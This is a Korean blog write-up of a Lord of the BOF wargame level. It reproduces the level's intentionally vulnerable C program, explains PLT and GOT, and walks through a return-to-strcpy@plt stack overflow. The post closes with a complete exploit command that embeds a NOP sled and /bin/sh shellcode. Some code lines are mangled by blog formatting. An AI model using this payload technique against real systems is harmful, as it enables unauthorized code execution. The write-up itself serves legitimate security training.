[LOB] succubus -> nightmare

2018. 4. 3. 00:36
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    char *addr;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // check address
    addr = (char *)&strcpy;
        if(memcmp(argv[1]+44&addr, 4!= 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }
 
        // overflow!
        strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
 
    // dangerous waterfall
    memset(buffer+40+8'A'4);
}
 
cs


시작


힌트로 plt라고 나와있다. plt가 무엇이냐면..


  • PLT (Procedure Linkage Table) : 외부 프로시저를 연결해주는 테이블. PLT를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
  • GOT (Global Offset Table) : PLT가 참조하는 테이블. 프로시저들의 주소가 들어있다.

함수를 호출하면(PLT를 호출하면) GOT로 점프하는데 GOT에는 함수의 실제 주소가 쓰여있다. 첫 번째 호출이라면 GOT는 함수의 주소를 가지고 있지 않고 ‘어떤 과정’을 거쳐 주소를 알아낸다. 두 번째 호출 부터는 첫 번째 호출 때 알아낸 주소로 바로 점프한다. 


....


문제로 돌아와서 ret에 strcpy의 주소를 넣지않으면 exit한다.


그리고 마지막에 가면 memset으로 ret+4의 주소에 AAAA를 넣는다.



strcpy의 주소는 0x400767b0이다. 하지만 이 주소는 strcpy@plt가 아니라서 시도해보니 되지않았다;;

plt값을 알아보자



strcpy@plt : 0x8048410




코어덤프를 gdb에 넣어보니 strcpy가 호출되고 0x43434343, 0x44444444가 들어간것을 보니 잘 실행되었다.


그러나... strcpy가 끝나고 다음으로 실행하게될 ret의 주소가 AAAA로 덮어써져있어서 다음 함수로의 실행이 불가능하다. 

memset(buffer+40+8'A'4);


0xbffff690에 있는 값을 쉘코드의 주소로 덮으면 된다.



저 0x41414141이 있는 곳에 쉘코드의 주소를 넣을 것이다. 저곳의 주소는 0xbffffc2b이다.


strcpy(0xbffff690, 0xbffffc2b)가 실행되게 할것이다.


그리고 0xbffffc2b에는 쉘코드의 주소를 넣자, 적당히 0xbffff8c8 정도면 될 것 같다.


payload : ./nightmare `python -c 'print("A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x90\xf6\xff\xbf"+"\x2b\xfc\xff\xbf"+"     "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xc8\xf8\xff\xbf"+"\00")'`


위와 같이 해서 공격하면될것같다. 마지막에 \x00은 strcpy할 때 NULL값까지 복사하므로 넣어주엇다.



성공~



'Wargame > LOB' 카테고리의 다른 글

[LOB] xavius -> death_knight  (0) 2018.04.04
[LOB] nightmare -> xavius  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02

+ Recent posts